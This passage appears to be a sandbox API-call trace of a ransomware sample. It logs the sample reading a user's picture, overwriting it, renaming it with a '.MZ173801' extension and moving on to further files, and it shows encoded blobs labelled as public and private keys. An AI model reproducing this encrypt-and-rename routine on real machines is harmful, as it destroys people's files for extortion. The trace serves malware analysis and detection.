Cg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0153.264] GetCurrentThreadId () returned 0xab4 [0153.264] GetCurrentThreadId () returned 0xab4 [0153.264] GetCurrentThreadId () returned 0xab4 [0153.265] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0153.265] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x250d37c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0153.271] GetCurrentThreadId () returned 0xab4 [0153.271] GetCurrentThreadId () returned 0xab4 [0153.271] GetCurrentThreadId () returned 0xab4 [0153.271] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\cjOca2N.png" (normalized: "c:\\users\\fd1hvy\\pictures\\cjoca2n.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0153.271] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0153.271] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.272] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0xeb1a [0153.272] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.272] ReadFile (in: hFile=0x294, lpBuffer=0x2515180, nNumberOfBytesToRead=0xeb1a, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x2515180*, lpNumberOfBytesRead=0x19fa18*=0xeb1a, lpOverlapped=0x0) returned 1 [0153.273] CloseHandle (hObject=0x294) returned 1 [0153.274] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\cjOca2N.png" (normalized: "c:\\users\\fd1hvy\\pictures\\cjoca2n.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0153.276] WriteFile (in: hFile=0x294, lpBuffer=0x25251b0*, nNumberOfBytesToWrite=0xeb1a, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x25251b0*, lpNumberOfBytesWritten=0x19fa24*=0xeb1a, lpOverlapped=0x0) returned 1 [0153.278] CloseHandle (hObject=0x294) returned 1 [0153.280] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\cjOca2N.png" (normalized: "c:\\users\\fd1hvy\\pictures\\cjoca2n.png"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\cjOca2N.png.MZ173801" (normalized: "c:\\users\\fd1hvy\\pictures\\cjoca2n.png.mz173801")) returned 1 [0153.281] GetCurrentThreadId () returned 0xab4 [0153.281] GetCurrentThreadId () returned 0xab4 [0153.281] GetCurrentThreadId () returned 0xab4 [0153.281] GetCurrentThreadId () returned 0xab4 [0153.281] GetCurrentThreadId () returned 0xab4 [0153.281] GetCurrentThreadId () returned 0xab4 [0153.281] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44053085, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44053085, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0153.282] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.282] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.282] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12f4bce0, ftCreationTime.dwHighDateTime=0x1d5ec9c, ftLastAccessTime.dwLowDateTime=0x1ef95790, ftLastAccessTime.dwHighDateTime=0x1d5f08d, ftLastWriteTime.dwLowDateTime=0x1ef95790, ftLastWriteTime.dwHighDateTime=0x1d5f08d, nFileSizeHigh=0x0, nFileSizeLow=0x1330e, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="gakO-X.jpg", cAlternateFileName="")) returned 1 [0153.282] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.282] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.282] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\gakO-X.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\gako-x.jpg"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12f4bce0, ftCreationTime.dwHighDateTime=0x1d5ec9c, ftLastAccessTime.dwLowDateTime=0x1ef95790, ftLastAccessTime.dwHighDateTime=0x1d5f08d, ftLastWriteTime.dwLowDateTime=0x1ef95790, ftLastWriteTime.dwHighDateTime=0x1d5f08d, nFileSizeHigh=0x0, nFileSizeLow=0x1330e)) returned 1 [0153.282] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\gakO-X.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\gako-x.jpg")) returned 0x20 [0153.282] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\gakO-X.jpg", dwFileAttributes=0x80) returned 1 [0153.284] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0153.284] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24fc31c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0153.285] GetCurrentThreadId () returned 0xab4 [0153.285] GetCurrentThreadId () returned 0xab4 [0153.285] GetCurrentThreadId () returned 0xab4 [0153.286] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0153.286] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x250d37c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 